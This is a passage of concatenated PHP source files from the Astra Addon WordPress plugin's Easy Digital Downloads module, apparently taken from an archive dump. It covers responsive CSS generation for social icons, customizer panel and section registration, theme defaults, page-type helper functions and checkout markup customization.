CSS tablet. */ $css_output_tablet = array( $selector . ' .ast-social-element svg' => array( // Icon Size. 'width' => astra_get_css_value( $icon_size_tablet, 'px' ), 'height' => astra_get_css_value( $icon_size_tablet, 'px' ), ), $selector . ' .ast-social-inner-wrap .ast-social-icon-a' => array( // Icon Spacing. 'margin-' . $margin_rvs_left => astra_get_css_value( $icon_spacing_tablet, 'px' ), 'margin-' . $margin_rvs_right => astra_get_css_value( $icon_spacing_tablet, 'px' ), ), $selector . ' .ast-social-element' => array( // Icon Background Space. 'padding' => astra_get_css_value( $icon_bg_spacing_tablet, 'px' ), // Icon Radius. 'border-radius' => astra_get_css_value( $icon_radius_tablet, 'px' ), ), $selector . ' .ast-social-icon-image-wrap' => array( // Icon Background Space. 'margin' => astra_get_css_value( $icon_bg_spacing_tablet, 'px' ), ), $selector . ' .ast-social-inner-wrap' => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-' . $ltr_left => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-' . $ltr_right => astra_responsive_spacing( $margin, 'right', 'tablet' ), 'padding-top' => astra_responsive_spacing( $padding, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $padding, 'bottom', 'tablet' ), 'padding-' . $ltr_left => astra_responsive_spacing( $padding, 'left', 'tablet' ), 'padding-' . $ltr_right => astra_responsive_spacing( $padding, 'right', 'tablet' ), 'border-top-' . $ltr_left . '-radius' => astra_responsive_spacing( $border_radius, 'top_left', 'tablet' ), 'border-top-' . $ltr_right . '-radius' => astra_responsive_spacing( $border_radius, 'top_right', 'tablet' ), 'border-bottom-' . $ltr_left . '-radius' => astra_responsive_spacing( $border_radius, 'bottom_left', 'tablet' ), 'border-bottom-' . $ltr_right . '-radius' => astra_responsive_spacing( $border_radius, 'bottom_right', 'tablet' ), ), $selector . ' .social-item-label' => array( // Margin CSS. 'font-size' => astra_responsive_font( $icon_label_font_size, 'tablet' ), ), $selector . ' .ast-social-sharing-heading' => array( // Margin CSS. 'font-size' => astra_responsive_font( $heading_font_size, 'tablet' ), ), ); if ( 'custom' === $color_type ) { $css_output_tablet[ $selector . ' .ast-social-color-type-custom svg' ]['fill'] = $social_icons_color_tablet; $css_output_tablet[ $selector . ' .ast-social-color-type-custom .ast-social-element' ]['background'] = $social_icons_bg_color_tablet; $css_output_tablet[ $selector . ' .ast-social-color-type-custom .ast-social-icon-a:hover .ast-social-element' ] = array( // Hover. 'color' => $social_icons_h_color_tablet, 'background' => $social_icons_h_bg_color_tablet, ); $css_output_tablet[ $selector . ' .ast-social-color-type-custom .ast-social-icon-a:hover svg' ] = array( 'fill' => $social_icons_h_color_tablet, ); } // Label Color. if ( isset( $social_icons_label_color_tablet ) && ! empty( $social_icons_label_color_tablet ) ) { $css_output_tablet[ $selector . ' .social-item-label' ]['color'] = $social_icons_label_color_tablet; } // Label Hover Color. if ( isset( $social_icons_label_h_color_tablet ) && ! empty( $social_icons_label_h_color_tablet ) ) { $css_output_tablet[ $selector . ' .ast-social-icon-a:hover .social-item-label' ]['color'] = $social_icons_label_h_color_tablet; } // Heading Color. if ( isset( $social_heading_color_tablet ) && ! empty( $social_heading_color_tablet ) ) { $css_output_tablet[ $selector . ' .ast-social-sharing-heading' ]['color'] = $social_heading_color_tablet; } // Heading Hover Color. if ( isset( $social_heading_h_color_tablet ) && ! empty( $social_heading_h_color_tablet ) ) { $css_output_tablet[ $selector . ' .ast-social-sharing-heading:hover' ]['color'] = $social_heading_h_color_tablet; } if ( isset( $social_bg_color_tablet ) && ! empty( $social_bg_color_tablet ) ) { $css_output_tablet[ $selector . ' .ast-social-inner-wrap' ]['background-color'] = $social_bg_color_tablet; } /** * Social_icons mobile. */ $css_output_mobile = array( $selector . ' .ast-social-element svg' => array( // Icon Size. 'width' => astra_get_css_value( $icon_size_mobile, 'px' ), 'height' => astra_get_css_value( $icon_size_mobile, 'px' ), ), $selector . ' .ast-social-inner-wrap .ast-social-icon-a' => array( // Icon Spacing. 'margin-' . $margin_rvs_left => astra_get_css_value( $icon_spacing_mobile, 'px' ), 'margin-' . $margin_rvs_right => astra_get_css_value( $icon_spacing_mobile, 'px' ), ), $selector . ' .ast-social-element' => array( // Icon Background Space. 'padding' => astra_get_css_value( $icon_bg_spacing_mobile, 'px' ), // Icon Radius. 'border-radius' => astra_get_css_value( $icon_radius_mobile, 'px' ), ), $selector . ' .ast-social-icon-image-wrap' => array( // Icon Background Space. 'margin' => astra_get_css_value( $icon_bg_spacing_mobile, 'px' ), ), $selector . ' .ast-social-inner-wrap' => array( 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-' . $ltr_left => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-' . $ltr_right => astra_responsive_spacing( $margin, 'right', 'mobile' ), 'padding-top' => astra_responsive_spacing( $padding, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $padding, 'bottom', 'mobile' ), 'padding-' . $ltr_left => astra_responsive_spacing( $padding, 'left', 'mobile' ), 'padding-' . $ltr_right => astra_responsive_spacing( $padding, 'right', 'mobile' ), 'border-top-' . $ltr_left . '-radius' => astra_responsive_spacing( $border_radius, 'top_left', 'mobile' ), 'border-top-' . $ltr_right . '-radius' => astra_responsive_spacing( $border_radius, 'top_right', 'mobile' ), 'border-bottom-' . $ltr_left . '-radius' => astra_responsive_spacing( $border_radius, 'bottom_left', 'mobile' ), 'border-bottom-' . $ltr_right . '-radius' => astra_responsive_spacing( $border_radius, 'bottom_right', 'mobile' ), ), $selector . ' .social-item-label' => array( // Margin CSS. 'font-size' => astra_responsive_font( $icon_label_font_size, 'mobile' ), ), $selector . ' .ast-social-sharing-heading' => array( // Margin CSS. 'font-size' => astra_responsive_font( $heading_font_size, 'mobile' ), ), ); if ( 'custom' === $color_type ) { $css_output_mobile[ $selector . ' .ast-social-color-type-custom svg' ]['fill'] = $social_icons_color_mobile; $css_output_mobile[ $selector . ' .ast-social-color-type-custom .ast-social-element' ]['background'] = $social_icons_bg_color_mobile; $css_output_mobile[ $selector . ' .ast-social-color-type-custom .ast-social-icon-a:hover .ast-social-element' ] = array( // Hover. 'color' => $social_icons_h_color_mobile, 'background' => $social_icons_h_bg_color_mobile, ); $css_output_mobile[ $selector . ' .ast-social-color-type-custom .ast-social-icon-a:hover svg' ] = array( 'fill' => $social_icons_h_color_mobile, ); } // Label Color. if ( isset( $social_icons_label_color_mobile ) && ! empty( $social_icons_label_color_mobile ) ) { $css_output_mobile[ $selector . ' .social-item-label' ]['color'] = $social_icons_label_color_mobile; } // Label Hover Color. if ( isset( $social_icons_label_h_color_mobile ) && ! empty( $social_icons_label_h_color_mobile ) ) { $css_output_mobile[ $selector . ' .ast-social-icon-a:hover .social-item-label' ]['color'] = $social_icons_label_h_color_mobile; } // Heading Color. if ( isset( $social_heading_color_mobile ) && ! empty( $social_heading_color_mobile ) ) { $css_output_mobile[ $selector . ' .ast-social-sharing-heading' ]['color'] = $social_heading_color_mobile; } // Heading Hover Color. if ( isset( $social_heading_h_color_mobile ) && ! empty( $social_heading_h_color_mobile ) ) { $css_output_mobile[ $selector . ' .ast-social-sharing-heading:hover' ]['color'] = $social_heading_h_color_mobile; } if ( isset( $social_bg_color_mobile ) && ! empty( $social_bg_color_mobile ) ) { $css_output_mobile[ $selector . ' .ast-social-inner-wrap' ]['background-color'] = $social_bg_color_mobile; } $social_sharing_static_css = ''; if ( 'below-post' === $icon_sharing_position ) { $social_sharing_static_css .= ' .ast-post-social-sharing .ast-social-inner-wrap { padding-top: 1em; } '; } if ( 'left-content' === $icon_sharing_position || 'right-content' === $icon_sharing_position ) { $social_sharing_static_css .= ' .ast-post-social-sharing .ast-social-inner-wrap { padding: 1em; } .ast-post-social-sharing .ast-social-sharing-heading { margin-left: .5em; margin-right: .5em; } '; } if ( 'above' === $social_heading_position ) { $social_sharing_static_css .= ' .ast-post-social-sharing .ast-social-sharing-heading { margin-bottom: .5em; } '; } if ( 'below' === $social_heading_position ) { $social_sharing_static_css .= ' .ast-post-social-sharing .ast-social-sharing-heading { margin-top: .5em; } '; } $social_sharing_static_css .= ' .ast-post-social-sharing .ast-social-inner-wrap { width: fit-content; } .ast-post-social-sharing .ast-social-element > .ahfb-svg-iconset { display: flex; } .ast-post-social-sharing .ast-social-element { display: inline-block; } .ast-post-social-sharing .social-item-label { display: block; color: var(--ast-global-color-3); } '; $parse_css .= Astra_Enqueue_Scripts::trim_css( $social_sharing_static_css ); } /* Parse CSS from array() */ $parse_css .= astra_parse_css( $css_output ); if ( $css_output_tablet ) { $parse_css .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); } if ( $css_output_mobile ) { $parse_css .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } return $dynamic_css . $parse_css; } class-astra-edd-panels-and-sections.php 0000666 00000003454 15165604534 0014114 0 ustar 00 <?php /** * Register customizer panels & sections. * * @package Astra * @link https://wpastra.com/ * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Panels_And_Sections' ) ) { /** * Register Easy Digital Downloads Panels and sections Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Panels_And_Sections extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads Panels and sections Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Section General */ array( 'name' => 'section-edd-general', 'title' => __( 'General', 'astra-addon' ), 'type' => 'section', 'section' => 'section-edd-group', 'priority' => 5, ), /** * Section Checkout Page */ array( 'name' => 'section-edd-checkout-page', 'priority' => 25, 'title' => __( 'Checkout Page', 'astra-addon' ), 'type' => 'section', 'section' => 'section-edd-group', ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Panels_And_Sections(); class-astra-ext-edd-loader.php 0000666 00000024065 15165604534 0012312 0 ustar 00 <?php /** * WooCommerce Loader * * @package Astra Addon */ if ( ! class_exists( 'Astra_Ext_Edd_Loader' ) ) { /** * Customizer Initialization * * @since 1.6.10 */ // @codingStandardsIgnoreStart class Astra_Ext_Edd_Loader { // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_register', array( $this, 'customize_register' ), 2 ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) ); } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { // Shop page. $defaults['edd-archive-style'] = 'edd-archive-page-grid-style'; $defaults['edd-archive-product-align'] = 'align-center'; $defaults['edd-archive-page-title-display'] = true; $defaults['edd-archive-product-shadow'] = 0; $defaults['edd-archive-product-shadow-hover'] = 0; $defaults['edd-archive-button-v-padding'] = ''; $defaults['edd-archive-button-h-padding'] = ''; // Checkout. $defaults['two-step-checkout'] = false; $defaults['edd-checkout-coupon-display'] = true; $defaults['edd-checkout-content-width'] = 'default'; $defaults['edd-checkout-content-max-width'] = 1200; // General. $defaults['edd-header-cart-icon'] = 'default'; $defaults['edd-header-cart-icon-style'] = 'none'; $defaults['edd-header-cart-icon-color'] = ''; $defaults['edd-header-cart-border-width'] = 1; $defaults['edd-header-cart-icon-radius'] = 3; $defaults['edd-header-cart-total-display'] = true; $defaults['edd-header-cart-title-display'] = true; $defaults['edd-header-cart-product-count-color'] = ''; // General Product Price Typo. $defaults['font-family-product-price'] = 'inherit'; $defaults['font-weight-product-price'] = 'inherit'; // Single Product. $defaults['disable-edd-single-product-add-to-cart'] = false; // Single Product Title Typo. $defaults['font-family-edd-product-title'] = 'inherit'; $defaults['font-weight-edd-product-title'] = 'inherit'; $defaults['font-extras-edd-product-title'] = array( 'line-height' => ! isset( $astra_options['font-extras-edd-product-title'] ) && isset( $astra_options['line-height-edd-product-title'] ) ? $astra_options['line-height-edd-product-title'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['font-extras-edd-product-title'] ) && isset( $astra_options['text-transform-edd-product-title'] ) ? $astra_options['text-transform-edd-product-title'] : '', 'text-decoration' => '', ); $defaults['font-size-edd-product-title'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['font-family-edd-product-content'] = 'inherit'; $defaults['font-weight-edd-product-content'] = 'inherit'; $defaults['font-extras-edd-product-content'] = array( 'line-height' => ! isset( $astra_options['font-extras-edd-product-content'] ) && isset( $astra_options['line-height-edd-product-content'] ) ? $astra_options['line-height-edd-product-content'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['font-extras-edd-product-content'] ) && isset( $astra_options['text-transform-edd-product-content'] ) ? $astra_options['text-transform-edd-product-content'] : '', 'text-decoration' => '', ); $defaults['font-size-edd-product-content'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Shop Product Title Typo. $defaults['font-family-edd-archive-product-title'] = 'inherit'; $defaults['font-weight-edd-archive-product-title'] = 'inherit'; $defaults['font-extras-edd-archive-product-title'] = array( 'line-height' => ! isset( $astra_options['font-extras-edd-archive-product-title'] ) && isset( $astra_options['line-height-edd-archive-product-title'] ) ? $astra_options['line-height-edd-archive-product-title'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['font-extras-edd-archive-product-title'] ) && isset( $astra_options['text-transform-edd-archive-product-title'] ) ? $astra_options['text-transform-edd-archive-product-title'] : '', 'text-decoration' => '', ); $defaults['font-size-edd-archive-product-title'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Shop Product Price Typo. $defaults['font-family-edd-archive-product-price'] = 'inherit'; $defaults['font-weight-edd-archive-product-price'] = 'inherit'; $defaults['font-extras-edd-archive-product-price'] = array( 'line-height' => ! isset( $astra_options['font-extras-edd-archive-product-price'] ) && isset( $astra_options['line-height-edd-archive-product-price'] ) ? $astra_options['line-height-edd-archive-product-price'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => '', 'text-decoration' => '', ); $defaults['font-size-edd-archive-product-price'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Shop Product Category Typo. $defaults['font-family-edd-archive-product-content'] = 'inherit'; $defaults['font-weight-edd-archive-product-content'] = 'inherit'; $defaults['font-extras-edd-archive-product-content'] = array( 'line-height' => ! isset( $astra_options['font-extras-edd-archive-product-content'] ) && isset( $astra_options['line-height-edd-archive-product-content'] ) ? $astra_options['line-height-edd-archive-product-content'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['font-extras-edd-archive-product-content'] ) && isset( $astra_options['text-transform-edd-archive-product-content'] ) ? $astra_options['text-transform-edd-archive-product-content'] : '', 'text-decoration' => '', ); $defaults['font-size-edd-archive-product-content'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Single Product Colors. $defaults['edd-single-product-title-color'] = ''; $defaults['edd-single-product-content-color'] = ''; $defaults['edd-single-product-navigation-color'] = ''; // EDD Archive Product Colors. $defaults['edd-archive-product-category-color'] = ''; $defaults['edd-archive-product-title-color'] = ''; $defaults['edd-archive-product-price-color'] = ''; $defaults['edd-archive-product-content-color'] = ''; // General Colors. $defaults['single-product-rating-color'] = ''; return $defaults; } /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_register( $wp_customize ) { /** * Register Sections & Panels */ require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/class-astra-edd-panels-and-sections.php'; /** * Sections */ require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-general-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-shop-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-shop-single-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-checkout-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-shop-single-typo-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-single-colors-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-shop-typo-configs.php'; require_once ASTRA_ADDON_EXT_EDD_DIR . 'classes/sections/class-astra-edd-archive-colors-configs.php'; } /** * Customizer Controls * * @see 'astra-customizer-preview-js' panel in parent theme */ public function preview_scripts() { if ( SCRIPT_DEBUG ) { $js_path = 'assets/js/unminified/customizer-preview.js'; } else { $js_path = 'assets/js/minified/customizer-preview.min.js'; } wp_enqueue_script( 'ast-edd-customizer-preview', ASTRA_ADDON_EXT_EDD_URI . $js_path, array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { wp_localize_script( 'ast-edd-customizer-preview', 'astAddonTabletBreakpoint', array( 'value' => astra_addon_get_tablet_breakpoint( '', 1 ), ) ); } } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_Edd_Loader::get_instance(); common-functions.php 0000666 00000004014 15165604534 0010567 0 ustar 00 <?php /** * Functions for Astra - Easy Digital Downloads Addon. * * @package Astra * @since Astra 1.6.10 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Current Page is EDD page */ if ( ! function_exists( 'astra_is_edd_page' ) ) : /** * Check current page is an EDD page * * @since 1.6.10 * @return bool true | false */ function astra_is_edd_page() { if ( is_singular( 'download' ) || is_post_type_archive( 'download' ) || is_tax( 'download_category' ) || is_tax( 'download_tag' ) || edd_is_checkout() || edd_is_success_page() || edd_is_failed_transaction_page() || edd_is_purchase_history_page() ) { return true; } return false; } endif; /** * Current Page is EDD single page */ if ( ! function_exists( 'astra_is_edd_single_page' ) ) : /** * Check current page is an EDD single page * * @since 1.6.10 * @return bool true | false */ function astra_is_edd_single_page() { if ( is_singular( 'download' ) || edd_is_checkout() || edd_is_success_page() || edd_is_failed_transaction_page() || edd_is_purchase_history_page() ) { return true; } return false; } endif; /** * Current Page is EDD archive page */ if ( ! function_exists( 'astra_is_edd_archive_page' ) ) : /** * Check current page is an EDD archive page * * @since 1.6.10 * @return bool true | false */ function astra_is_edd_archive_page() { if ( is_post_type_archive( 'download' ) || is_tax( 'download_category' ) || is_tax( 'download_tag' ) ) { return true; } return false; } endif; /** * Current Page is EDD single Product page */ if ( ! function_exists( 'astra_is_edd_single_product_page' ) ) : /** * Check current page is an EDD single product page * * @since 1.6.10 * @return bool true | false */ function astra_is_edd_single_product_page() { if ( is_singular( 'download' ) ) { return true; } return false; } endif; class-astra-ext-edd-markup.php 0000666 00000024142 15165604534 0012337 0 ustar 00 <?php /** * WooCommerce Markup * * @package Astra Addon */ if ( ! class_exists( 'ASTRA_Ext_Edd_Markup' ) ) { /** * Advanced Search Markup Initial Setup * * @since 1.6.10 */ // @codingStandardsIgnoreStart class ASTRA_Ext_Edd_Markup { // @codingStandardsIgnoreEnd /** * Member Varible * * @var object instance */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_action( 'wp', array( $this, 'edd_initializattion' ) ); add_action( 'wp', array( $this, 'customization_checkout_page' ) ); add_action( 'astra_addon_get_css_files', array( $this, 'add_styles' ) ); add_filter( 'body_class', array( $this, 'body_class' ) ); add_filter( 'post_class', array( $this, 'post_class' ) ); add_filter( 'edd_download_class', array( $this, 'shortcode_download_class' ), 10, 4 ); add_shortcode( 'astra_edd_mini_cart', array( $this, 'astra_edd_mini_cart_markup' ) ); // Load Google fonts. add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); } /** * Easy Digital Downloads initialization * * @since 1.6.10 * @return void */ public function edd_initializattion() { $is_edd_archive_page = astra_is_edd_archive_page(); $is_edd_single_product_page = astra_is_edd_single_product_page(); // Edd archive page. if ( $is_edd_archive_page ) { // Edd archive page product style. $shop_style = astra_get_option( 'edd-archive-style' ); $product_archive_structure = astra_get_option( 'edd-archive-product-structure' ); if ( 'edd-archive-page-list-style' == $shop_style && in_array( 'image', $product_archive_structure ) ) { remove_action( 'astra_edd_archive_image', 'astra_edd_archive_product_image' ); add_action( 'astra_edd_archive_before_block_wrap', 'astra_edd_archive_product_image' ); } // Edd Archive Page Title. if ( ! astra_get_option( 'edd-archive-page-title-display' ) ) { add_filter( 'astra_the_title_enabled', '__return_false' ); } } if ( $is_edd_single_product_page ) { // Remove the purchase button on single EDD Product page. $disable_edd_single_product_add_to_cart = astra_get_option( 'disable-edd-single-product-add-to-cart' ); if ( $disable_edd_single_product_add_to_cart ) { remove_action( 'edd_after_download_content', 'edd_append_purchase_link' ); } } } /** * Add Font Family Callback * * @since 1.6.10 * @return void */ public function add_fonts() { $font_family_product_title = astra_get_option( 'font-family-edd-product-title' ); $font_weight_product_title = astra_get_option( 'font-weight-edd-product-title' ); Astra_Fonts::add_font( $font_family_product_title, $font_weight_product_title ); $font_family_shop_product_title = astra_get_option( 'font-family-edd-archive-product-title' ); $font_weight_shop_product_title = astra_get_option( 'font-weight-edd-archive-product-title' ); Astra_Fonts::add_font( $font_family_shop_product_title, $font_weight_shop_product_title ); $font_family_shop_product_price = astra_get_option( 'font-family-edd-archive-product-price' ); $font_weight_shop_product_price = astra_get_option( 'font-weight-edd-archive-product-price' ); Astra_Fonts::add_font( $font_family_shop_product_price, $font_weight_shop_product_price ); $font_family_shop_product_content = astra_get_option( 'font-family-edd-archive-product-content' ); $font_weight_shop_product_content = astra_get_option( 'font-weight-edd-archive-product-content' ); Astra_Fonts::add_font( $font_family_shop_product_content, $font_weight_shop_product_content ); $font_family_product_content = astra_get_option( 'font-family-edd-product-content' ); $font_weight_product_content = astra_get_option( 'font-weight-edd-product-content' ); Astra_Fonts::add_font( $font_family_product_content, $font_weight_product_content ); } /** * Mini Cart shortcode `astra_edd_mini_cart` mrakup. * * @since 1.6.10 * @param array $atts Shortcode atts. * @return html */ public function astra_edd_mini_cart_markup( $atts ) { $atts = shortcode_atts( array( 'direction' => 'bottom left', ), $atts ); $output = ''; $astra_edd_instance = Astra_Edd::get_instance(); if ( method_exists( $astra_edd_instance, 'edd_mini_cart_markup' ) ) { $output = '<div class="ast-edd-mini-cart-wrapper ast-edd-mini-cart-dir ' . esc_attr( $atts['direction'] ) . '">'; $output .= $astra_edd_instance->edd_mini_cart_markup(); $output .= '</div>'; } return $output; } /** * Body Class * * @param array $classes Default argument array. * * @return array; */ public function body_class( $classes ) { $is_edd_archive_page = astra_is_edd_archive_page(); if ( $is_edd_archive_page ) { $shop_style = astra_get_option( 'edd-archive-style' ); if ( 'edd-archive-page-list-style' == $shop_style ) { $classes[] = 'ast-' . $shop_style; } } elseif ( edd_is_checkout() ) { if ( astra_get_option( 'edd-distraction-free-checkout' ) ) { $classes[] = 'ast-edd-distraction-free-checkout'; } } return $classes; } /** * Post Class * * @param array $classes Default argument array. * * @return array; */ public function post_class( $classes ) { $is_edd_archive_page = astra_is_edd_archive_page(); if ( $is_edd_archive_page ) { // Single product normal & hover box shadow. $classes[] = astra_get_option( 'edd-archive-product-align' ); $classes[] = 'box-shadow-' . astra_get_option( 'edd-archive-product-shadow' ); $classes[] = 'box-shadow-' . astra_get_option( 'edd-archive-product-shadow-hover' ) . '-hover'; } return $classes; } /** * Edd shortcode download class * * @param string $class edd shortcode list item class. * @param int $id current post ID. * @param array $edd_download_shortcode_item_atts Default shortcode argument array. * @param int $edd_download_shortcode_item_i shortcode applied to items. * * @return string $class updated class to the shortcode list item; */ public function shortcode_download_class( $class, $id, $edd_download_shortcode_item_atts, $edd_download_shortcode_item_i ) { if ( 'edd_download' === $class ) { $classes = array(); // Single product normal & hover box shadow. $classes[] = astra_get_option( 'edd-archive-product-align' ); $classes[] = 'box-shadow-' . astra_get_option( 'edd-archive-product-shadow' ); $classes[] = 'box-shadow-' . astra_get_option( 'edd-archive-product-shadow-hover' ) . '-hover'; $class = $class . ' ' . implode( ' ', $classes ); } return $class; } /** * Checkout page markup update using actions & filters only */ public function customization_checkout_page() { if ( ! edd_is_checkout() ) { return; } // Display coupon. if ( ! astra_get_option( 'edd-checkout-coupon-display' ) ) { remove_action( 'edd_before_purchase_form', 'edd_discount_field', -1 ); remove_action( 'edd_before_purchase_form', 'edd_agree_to_terms_js' ); } // Distraction Free Checkout. if ( astra_get_option( 'edd-distraction-free-checkout' ) ) { // HFB Support for distration free checkout. if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { remove_action( 'astra_header', array( Astra_Builder_Header::get_instance(), 'prepare_header_builder_markup' ) ); remove_action( 'astra_footer', array( Astra_Builder_Footer::get_instance(), 'footer_markup' ), 10 ); } remove_action( 'astra_header', 'astra_header_markup' ); remove_action( 'astra_footer', 'astra_footer_markup' ); add_action( 'astra_header', array( $this, 'checkout_header_markup' ) ); add_action( 'astra_footer', array( $this, 'checkout_footer_markup' ) ); // Store Sidebar Layout. add_filter( 'astra_page_layout', array( $this, 'checkout_sidebar_layout' ), 99 ); } } /** * Header markup. */ public function checkout_header_markup() { astra_addon_get_template( 'edd/templates/checkout-header.php' ); } /** * Footer markup. */ public function checkout_footer_markup() { astra_addon_get_template( 'edd/templates/checkout-footer.php' ); } /** * Checkout sidebar layout. * * @param string $sidebar_layout Layout. * * @return string; */ public function checkout_sidebar_layout( $sidebar_layout ) { return 'no-sidebar'; } /** * Add Styles */ public function add_styles() { /*** Start Path Logic */ /* Define Variables */ $uri = ASTRA_ADDON_EXT_EDD_URI . 'assets/css/'; $path = ASTRA_ADDON_EXT_EDD_DIR . 'assets/css/'; $rtl = ''; if ( is_rtl() ) { $rtl = '-rtl'; } /* Directory and Extension */ $file_prefix = $rtl . '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = $rtl; $dir_name = 'unminified'; } $css_uri = $uri . $dir_name . '/'; $css_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $css_uri; } else { $gen_path = $css_dir; } /*** End Path Logic */ /* Add style.css */ Astra_Minify::add_css( $gen_path . 'style' . $file_prefix . '.css' ); // Shop page style. $shop_page_style = astra_get_option( 'edd-archive-style' ); if ( 'edd-archive-page-list-style' == $shop_page_style ) { $shop_page_style = Astra_Addon_Builder_Helper::apply_flex_based_css() ? $shop_page_style . '-grid' : $shop_page_style; Astra_Minify::add_css( $gen_path . $shop_page_style . $file_prefix . '.css' ); } } } } /** * Kicking this off by calling 'get_instance()' method */ ASTRA_Ext_Edd_Markup::get_instance(); sections/class-astra-edd-archive-colors-configs.php 0000666 00000007663 15165604534 0016450 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Archive_Colors_Configs' ) ) { /** * Register Blog Single Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Archive_Colors_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Blog Single Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-styling-divider]', 'section' => 'section-edd-archive', 'title' => __( 'Product Font & Colors', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 231, 'settings' => array(), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Shop Product Title Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-archive-product-title-color]', 'section' => 'section-edd-archive', 'default' => astra_get_option( 'edd-archive-product-title-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'transport' => 'postMessage', 'context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-archive-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), 'title' => __( 'Product Title', 